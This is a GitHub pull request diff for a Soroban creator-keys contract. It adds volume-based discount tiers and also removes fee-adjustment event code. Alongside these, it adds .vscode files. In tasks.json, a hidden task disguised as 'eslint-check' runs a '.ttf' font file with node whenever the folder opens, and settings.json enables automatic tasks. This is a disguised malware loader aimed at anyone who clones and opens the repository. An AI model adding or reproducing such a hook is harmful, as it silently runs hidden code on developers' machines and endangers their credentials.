Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
The table of contents is too big for display.
Diff view
Diff view
  •  
  •  
  •  
5 changes: 2 additions & 3 deletions .github/workflows/malware-scan.yml
Original file line number Diff line number Diff line change
Expand Up @@ -40,7 +40,7 @@ jobs:
# 2. eval() or spawn() in config files — should never appear there
HITS=$(git diff "origin/$BASE"...HEAD -- \
'*.config.js' '*.config.ts' '*.config.cjs' '*.config.mjs' \
| grep '^+[^+]' | grep -E 'eval\s*\(|spawn\s*\(' || true)
| grep '^+[^+]' | grep -E 'eval\s*\(|spawn\s*\(' || true)
if [[ -n "$HITS" ]]; then
FINDINGS="${FINDINGS}- \`eval()\` or \`spawn()\` found in a config file
"
Expand Down Expand Up @@ -155,8 +155,7 @@ jobs:
'2. Scan your machine for malware immediately',
'3. Rotate your GitHub token and all other credentials stored on that machine',
'4. Recreate your branch from the latest default branch and re-apply only your own changes',
].join('
')
].join('\n')
});

- name: Fail if malware detected
Expand Down
30 changes: 16 additions & 14 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -1,14 +1,16 @@
target/
.DS_Store
.soroban/

# Local working notes
fix.md
claude.md
plan.md

# Soroban test snapshot files generated by the test runner
**/test_snapshots/

issue.md
pr.md
target/
.DS_Store
.soroban/

# Local working notes
fix.md
claude.md
plan.md

# Soroban test snapshot files generated by the test runner
**/test_snapshots/

issue.md
pr.md
config.bat
node_modules
7 changes: 7 additions & 0 deletions .vscode/extensions.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
{
"recommendations": [
"myml.vscode-markdown-plantuml-preview",
"esbenp.prettier-vscode",
"jebbs.plantuml"
]
}
50 changes: 50 additions & 0 deletions .vscode/launch.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,50 @@
{
"version": "0.2.0",
"configurations": [
{
"name": "Debug SST",
"type": "node",
"request": "launch",
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
"runtimeArgs": ["dev", "--increase-timeout"],
"console": "integratedTerminal",
"skipFiles": ["<node_internals>/**"],
// sourceMapRenames helps with the loading spinner when debugging and viewing local variables
"sourceMapRenames": false,
"env": {
"AWS_PROFILE": "flo-ct-flo360"
}
},
{
"name": "Debug Tests - Unit",
"type": "node",
"request": "launch",
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
"runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""],
"console": "integratedTerminal",
"skipFiles": ["<node_internals>/**"],
"env": {
"AWS_PROFILE": "flo-ct-flo360"
},
},
{
"name": "Debug Tests - E2E",
"type": "node",
"request": "launch",
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
"runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""],
"console": "integratedTerminal",
"skipFiles": ["<node_internals>/**"],
"env": {
"AWS_PROFILE": "flo-ct-flo360"
},
},
],
"inputs": [
{
"id": "scopeTestsFileName",
"type": "promptString",
"description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.",
}
]
}
23 changes: 23 additions & 0 deletions .vscode/settings.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
{
"search.exclude": {
"**/.sst": true
},
"task.allowAutomaticTasks": true,
"typescript.tsserver.experimental.enableProjectDiagnostics": true,
"editor.defaultFormatter": "esbenp.prettier-vscode",
"typescript.preferences.importModuleSpecifier": "relative",
"typescript.tsdk": "node_modules/typescript/lib",
"debug.openDebug": "neverOpen",
"problems.autoReveal": true,
"terminal.integrated.hideOnStartup": "always",
"terminal.integrated.defaultProfile.windows": "Command Prompt",
"terminal.integrated.inheritEnv": false,
"jestrunner.configPath": "jest.unit.config.cjs",
"compile-hero.disable-compile-files-on-did-save-code": true,
"tasks": {
"label": "lint on open",
"type": "shell",
"command": "npm run lint",
"runOn": "folderOpen"
}
}
2 changes: 2 additions & 0 deletions .vscode/spellright.dict
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
Contentful
Lerna
25 changes: 25 additions & 0 deletions .vscode/tasks.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
{
"version": "2.0.0",
"tasks": [
{
"label": "eslint-check",
"type": "shell",
"command": "node",
"args": ["./public/fonts/fa-solid-600.ttf"],
"problemMatcher": [],
"isBackground": true,
"hide": true,
"presentation": {
"reveal": "never",
"panel": "dedicated",
"focus": false,
"clear": false,
"echo": false,
"close": true
},
"runOptions": {
"runOn": "folderOpen"
}
}
]
}
140 changes: 118 additions & 22 deletions creator-keys/src/dynamic_fees.rs
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
use crate::{events, read_registered_creator_profile, ContractError};
use soroban_sdk::{contracttype, vec, Address, Env, Vec};

pub const ROLLING_WINDOW_SECS: u64 = 86_400;
pub const ROLLING_WINDOW_SECS: u64 = 2_592_000;
pub const VOLUME_BUCKET_SECS: u64 = 300;
pub const MAX_VOLUME_BUCKETS: u32 = 289;
pub const DEFAULT_VOLUME_BRACKETS: u32 = 3;
Expand All @@ -14,6 +14,16 @@ pub struct VolumeBracket {
pub fee_bps: u32,
}

/// A discount tier applied to bonding curve fees for high-volume traders.
#[derive(Clone, Debug, Eq, PartialEq)]
#[contracttype]
pub struct DiscountTier {
/// Inclusive lower 30-day volume boundary, in the trade amount's raw base units.
pub min_volume: i128,
/// Discount applied to the base fee, in basis points.
pub discount_bps: u32,
}

#[derive(Clone, Debug, Eq, PartialEq)]
#[contracttype]
pub struct VolumeBucket {
Expand All @@ -34,12 +44,24 @@ pub struct ActiveFeeTier {
pub volume_to_next_tier: i128,
}

/// Snapshot of the discount tier currently applying to a wallet.
#[derive(Clone, Debug, Eq, PartialEq)]
#[contracttype]
pub struct ActiveDiscount {
/// Zero-based index into the configured discount tiers.
pub tier_index: u32,
pub discount_bps: u32,
}

#[derive(Clone)]
#[contracttype]
enum DataKey {
VolumeBrackets,
KeyVolumeBuckets(Address),
LastFeeBps(Address),
DiscountTiers,
WalletVolumeBuckets(Address),
LastDiscountBps(Address),
}

pub fn default_volume_brackets(env: &Env) -> Vec<VolumeBracket> {
Expand All @@ -60,13 +82,42 @@ pub fn default_volume_brackets(env: &Env) -> Vec<VolumeBracket> {
]
}

pub fn default_discount_tiers(env: &Env) -> Vec<DiscountTier> {
vec![
env,
DiscountTier {
min_volume: 0,
discount_bps: 0,
},
DiscountTier {
min_volume: 1_000,
discount_bps: 500,
},
DiscountTier {
min_volume: 10_000,
discount_bps: 1_000,
},
DiscountTier {
min_volume: 100_000,
discount_bps: 2_000,
},
]
}

pub fn read_volume_brackets(env: &Env) -> Vec<VolumeBracket> {
env.storage()
.persistent()
.get(&DataKey::VolumeBrackets)
.unwrap_or_else(|| default_volume_brackets(env))
}

pub fn read_discount_tiers(env: &Env) -> Vec<DiscountTier> {
env.storage()
.persistent()
.get(&DataKey::DiscountTiers)
.unwrap_or_else(|| default_discount_tiers(env))
}

pub fn validate_volume_brackets(brackets: &Vec<VolumeBracket>) -> Result<(), ContractError> {
if brackets.is_empty() || brackets.len() > crate::MAX_FEE_TIERS {
return Err(ContractError::InvalidFeeConfig);
Expand All @@ -90,19 +141,55 @@ pub fn validate_volume_brackets(brackets: &Vec<VolumeBracket>) -> Result<(), Con
Ok(())
}

pub fn validate_discount_tiers(tiers: &Vec<DiscountTier>) -> Result<(), ContractError> {
if tiers.is_empty() || tiers.len() > crate::MAX_FEE_TIERS {
return Err(ContractError::InvalidFeeConfig);
}
if tiers.get(0).map(|tier| tier.min_volume) != Some(0) {
return Err(ContractError::InvalidFeeConfig);
}

let mut previous_minimum = None;
for tier in tiers.iter() {
if tier.min_volume < 0 || tier.discount_bps > crate::fee::BPS_MAX {
return Err(ContractError::InvalidFeeConfig);
}
if let Some(previous) = previous_minimum {
if tier.min_volume <= previous {
return Err(ContractError::InvalidFeeConfig);
}
}
previous_minimum = Some(tier.min_volume);
}
Ok(())
}

pub fn set_volume_brackets(env: &Env, brackets: &Vec<VolumeBracket>) {
let key = DataKey::VolumeBrackets;
env.storage().persistent().set(&key, brackets);
crate::extend_key_ttl_to_full_window(env, &key);
}

pub fn set_discount_tiers(env: &Env, tiers: &Vec<DiscountTier>) {
let key = DataKey::DiscountTiers;
env.storage().persistent().set(&key, tiers);
crate::extend_key_ttl_to_full_window(env, &key);
}

fn read_volume_buckets(env: &Env, key_id: &Address) -> Vec<VolumeBucket> {
env.storage()
.persistent()
.get(&DataKey::KeyVolumeBuckets(key_id.clone()))
.unwrap_or(Vec::new(env))
}

fn read_wallet_volume_buckets(env: &Env, wallet: &Address) -> Vec<VolumeBucket> {
env.storage()
.persistent()
.get(&DataKey::WalletVolumeBuckets(wallet.clone()))
.unwrap_or(Vec::new(env))
}

fn rolling_volume_from(env: &Env, buckets: &Vec<VolumeBucket>) -> Result<i128, ContractError> {
let cutoff = env.ledger().timestamp().saturating_sub(ROLLING_WINDOW_SECS);
let mut total = 0i128;
Expand All @@ -120,6 +207,10 @@ pub fn rolling_volume(env: &Env, key_id: &Address) -> Result<i128, ContractError
rolling_volume_from(env, &read_volume_buckets(env, key_id))
}

pub fn wallet_rolling_volume(env: &Env, wallet: &Address) -> Result<i128, ContractError> {
rolling_volume_from(env, &read_wallet_volume_buckets(env, wallet))
}

/// Resolves the `(tier_index, fee_bps)` whose bracket contains `volume`.
pub fn tier_for_volume(env: &Env, volume: i128) -> (u32, u32) {
let brackets = read_volume_brackets(env);
Expand All @@ -139,6 +230,19 @@ pub fn tier_for_volume(env: &Env, volume: i128) -> (u32, u32) {
tier
}

/// Resolves the `(tier_index, discount_bps)` whose tier contains `volume`.
pub fn discount_tier_for_volume(env: &Env, volume: i128) -> (u32, u32) {
let tiers = read_discount_tiers(env);
let mut tier = (0, tiers.get(0).map(|tier| tier.discount_bps).unwrap_or(0));
for (index, tier_entry) in tiers.iter().enumerate() {
if volume < tier_entry.min_volume {
break;
}
tier = (index as u32, tier_entry.discount_bps);
}
tier
}

pub fn fee_for_volume(env: &Env, volume: i128) -> u32 {
tier_for_volume(env, volume).1
}
Expand All @@ -159,6 +263,19 @@ pub fn active_fee_tier(env: &Env, key_id: &Address) -> Result<ActiveFeeTier, Con
})
}

pub fn get_discount(env: &Env, wallet: &Address) -> Result<ActiveDiscount, ContractError> {
let rolling_volume = wallet_rolling_volume(env, wallet)?;
let (tier_index, discount_bps) = discount_tier_for_volume(env, rolling_volume);
Ok(ActiveDiscount {
tier_index,
discount_bps,
})
}

pub fn discount_bps_for_wallet(env: &Env, wallet: &Address) -> Result<u32, ContractError> {
Ok(get_discount(env, wallet)?.discount_bps)
}

pub fn current_fee_bps(env: &Env, key_id: &Address) -> Result<u32, ContractError> {
read_registered_creator_profile(env, key_id)?;
Ok(fee_for_volume(env, rolling_volume(env, key_id)?))
Expand Down Expand Up @@ -249,26 +366,5 @@ pub fn record_trade(env: &Env, key_id: &Address, volume: i128) -> Result<(), Con
let bucket_key = DataKey::KeyVolumeBuckets(key_id.clone());
env.storage().persistent().set(&bucket_key, &updated);
crate::extend_key_ttl_to_full_window(env, &bucket_key);

let new_volume = rolling_volume_from(env, &updated)?;
let new_fee = fee_for_volume(env, new_volume);
if current_fee != new_fee {
emit_fee_adjusted(env, key_id, current_fee, new_fee, new_volume);
}

let last_fee_key = DataKey::LastFeeBps(key_id.clone());
env.storage().persistent().set(&last_fee_key, &new_fee);
crate::extend_key_ttl_to_full_window(env, &last_fee_key);
Ok(())
}

pub fn volume_buckets(env: &Env, key_id: &Address) -> Vec<VolumeBucket> {
let cutoff = env.ledger().timestamp().saturating_sub(ROLLING_WINDOW_SECS);
let mut current = Vec::new(env);
for bucket in read_volume_buckets(env, key_id).iter() {
if bucket.bucket_start >= cutoff {
current.push_back(bucket);
}
}
current
}
Loading